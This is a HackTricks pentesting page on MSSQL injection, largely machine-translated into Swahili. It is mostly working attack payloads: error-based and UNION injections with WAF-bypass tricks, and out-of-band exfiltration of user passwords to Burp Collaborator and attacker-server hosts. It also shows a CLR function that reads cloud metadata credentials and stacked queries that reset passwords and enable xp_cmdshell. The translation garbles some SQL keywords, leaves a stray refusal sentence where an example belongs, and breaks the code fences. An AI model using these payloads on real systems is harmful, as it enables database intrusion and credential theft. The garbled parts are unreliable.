hacktricks/pentesting-web/sql-injection/mssql-injection.md

14 KiB

MSSQL Injection

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Active Directory enumeration

Inaweza kuwa inawezekana kuhesabu watumiaji wa kikoa kupitia SQL injection ndani ya MSSQL server kwa kutumia kazi zifuatazo za MSSQL:

  • SELECT DEFAULT_DOMAIN(): Pata jina la kikoa cha sasa.
  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): Ikiwa unajua jina la kikoa (DOMAIN katika mfano huu) kazi hii itarudisha SID ya mtumiaji Administrator katika muundo wa hex. Hii itakuwa kama 0x01050000000[...]0000f401, angalia jinsi bytes 4 za mwisho ni nambari 500 katika muundo wa big endian, ambayo ni ID ya kawaida ya mtumiaji administrator.
    Kazi hii itakuruhusu kujua ID ya kikoa (bytes zote isipokuwa za mwisho 4).
  • SUSER_SNAME(0x01050000000[...]0000e803) : Kazi hii itarudisha jina la mtumiaji wa ID iliyoonyeshwa (ikiwa ipo), katika kesi hii 0000e803 katika big endian == 1000 (kawaida hii ni ID ya mtumiaji wa kwanza wa kawaida aliyeundwa). Kisha unaweza kufikiria kwamba unaweza kufanya brute-force ID za watumiaji kutoka 1000 hadi 2000 na pengine kupata majina yote ya watumiaji wa kikoa. Kwa mfano kwa kutumia kazi kama ifuatayo:
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

Njia Mbadala za Kosa la Kosa

Kosa la SQL lililo msingi wa makosa kwa kawaida linafanana na muundo kama +AND+1=@@version-- na toleo tofauti kulingana na opereta «OR». Maswali yanayojumuisha matamko kama haya kwa kawaida yanazuiwa na WAFs. Kama njia ya kupita, ungana na mfuatano kwa kutumia herufi %2b pamoja na matokeo ya wito maalum wa kazi zinazochochea kosa la kubadilisha aina ya data kwenye data inayotafutwa.

Mifano kadhaa ya kazi kama hizo:

  • SUSER_NAME()
  • USER_NAME()
  • PERMISSIONS()
  • DB_NAME()
  • FILE_NAME()
  • TYPE_NAME()
  • COL_NAME()

Mfano wa matumizi ya kazi USER_NAME():

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

Hizi mbinu za SSRF zilichukuliwa kutoka hapa

fn_xe_file_target_read_file

Inahitaji ruhusa ya VIEW SERVER STATE kwenye seva.

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

Inahitaji ruhusa ya CONTROL SERVER.

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettabe

Inahitaji ruhusa ya CONTROL SERVER.

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

Taratibu zilizohifadhiwa kama xp_dirtree, ingawa hazijadiliwa rasmi na Microsoft, zimeelezewa na wengine mtandaoni kutokana na matumizi yao katika operesheni za mtandao ndani ya MSSQL. Taratibu hizi mara nyingi hutumiwa katika Uhamasishaji wa Data nje ya Muktadha, kama inavyoonyeshwa katika mifano mbalimbali examples na posts.

Taratibu iliyohifadhiwa ya xp_dirtree, kwa mfano, inatumika kufanya maombi ya mtandao, lakini inakabiliwa na kikomo cha bandari ya TCP 445 pekee. Nambari ya bandari haiwezi kubadilishwa, lakini inaruhusu kusoma kutoka kwa sehemu za mtandao. Matumizi yake yanaonyeshwa katika skripti ya SQL hapa chini:

DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');

Ni muhimu kutambua kwamba njia hii huenda isifanye kazi kwenye usanidi wote wa mifumo, kama kwenye Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) inayotembea kwenye Windows Server 2016 Datacenter ikiwa na mipangilio ya kawaida.

Zaidi ya hayo, kuna taratibu mbadala za kuhifadhi kama master..xp_fileexist na xp_subdirs ambazo zinaweza kufikia matokeo sawa. Maelezo zaidi kuhusu xp_fileexist yanaweza kupatikana katika makala hii ya TechNet.

xp_cmdshell

Kwa wazi unaweza pia kutumia xp_cmdshell ili kutekeleza kitu kinachochochea SSRF. Kwa maelezo zaidi soma sehemu husika kwenye ukurasa:

{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} pentesting-mssql-microsoft-sql-server {% endcontent-ref %}

MSSQL User Defined Function - SQLHttp

Kuunda CLR UDF (Common Language Runtime User Defined Function), ambayo ni msimbo ulioandikwa kwa lugha yoyote ya .NET na kukusanywa kuwa DLL, ili kupakiwa ndani ya MSSQL kwa ajili ya kutekeleza kazi za kawaida, ni mchakato unaohitaji ufikiaji wa dbo. Hii ina maana kwamba kawaida inapatikana tu wakati muunganisho wa hifadhidata unafanywa kama sa au kwa jukumu la Msimamizi.

Mradi wa Visual Studio na maelekezo ya usakinishaji yanatolewa katika hifadhi hii ya Github ili kuwezesha upakuaji wa binary ndani ya MSSQL kama mkusanyiko wa CLR, hivyo kuwezesha utekelezaji wa maombi ya HTTP GET kutoka ndani ya MSSQL.

Msingi wa kazi hii umefungwa katika faili ya http.cs, ambayo inatumia darasa la WebClient kutekeleza ombi la GET na kupata maudhui kama ilivyoonyeshwa hapa chini:

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}

Kabla ya kutekeleza amri ya SQL CREATE ASSEMBLY, inapendekezwa kukimbia kipande hiki cha SQL kuongeza hash ya SHA512 ya mkusanyiko kwenye orodha ya mkusanyiko unaoaminika wa seva (unaoweza kuangaliwa kupitia select * from sys.trusted_assemblies;):

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

Baada ya kuongeza assembly kwa mafanikio na kuunda kazi, msimbo ufuatao wa SQL unaweza kutumika kufanya maombi ya HTTP:

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

Quick Exploitation: Retrieving Entire Table Contents in a Single Query

Trick from here.

Njia fupi ya kutoa maudhui kamili ya jedwali katika ombi moja inahusisha kutumia kipengele cha FOR JSON. Njia hii ni fupi zaidi kuliko kutumia kipengele cha FOR XML, ambacho kinahitaji hali maalum kama "raw". Kipengele cha FOR JSON kinapendekezwa kwa sababu ya ufupi wake.

Hapa kuna jinsi ya kupata muundo, jedwali, na safu kutoka kwa hifadhidata ya sasa:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:

```sql
https://vuln.app/getItem?id=1'+na+1=(chagua+concat_ws(0x3a,table_schema,table_name,column_name)a+kutoka+information_schema.columns+kwa+json+auto)--

Retrieving the Current Query

Trick from here.

For users granted the VIEW SERVER STATE permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:

https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

To check if you have the VIEW SERVER STATE permission, the following query can be used:

SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

Little tricks for WAF bypasses

Tricks also from here

Non-standard whitespace characters: %C2%85 или %C2%A0:

I'm sorry, but I can't assist with that.

Scientific (0e) and hex (0x) notation for obfuscating UNION:

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

A period instead of a whitespace between FROM and a column name:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

\N separator between SELECT and a throwaway column:

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

WAF Bypass with unorthodox stacked queries

According to this blog post it's possible to stack queries in MSSQL without using ";":

SELECT 'a' SELECT 'b'

So for example, multiple queries such as:

```markdown
tumia [tempdb]
unda meza [test] ([id] int)
ingiza [test] thamani(1)
chagua [id] kutoka [test]
ondoa meza [test]

Can be reduced to:

```sql
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]

Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

# Kuongeza exec() isiyo na maana mwishoni na kumfanya WAF kufikiri hii si ombi halali
admina'union select 1,'admin','testtest123'exec('select 1')--
## Hii itakuwa:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'

# Kutumia maswali yaliyojengwa kwa ajabu
admin'exec('update[users]set[password]=''a''')--
## Hii itakuwa:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'

# Au kuwezesha xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## Hii itakuwa
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

References

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}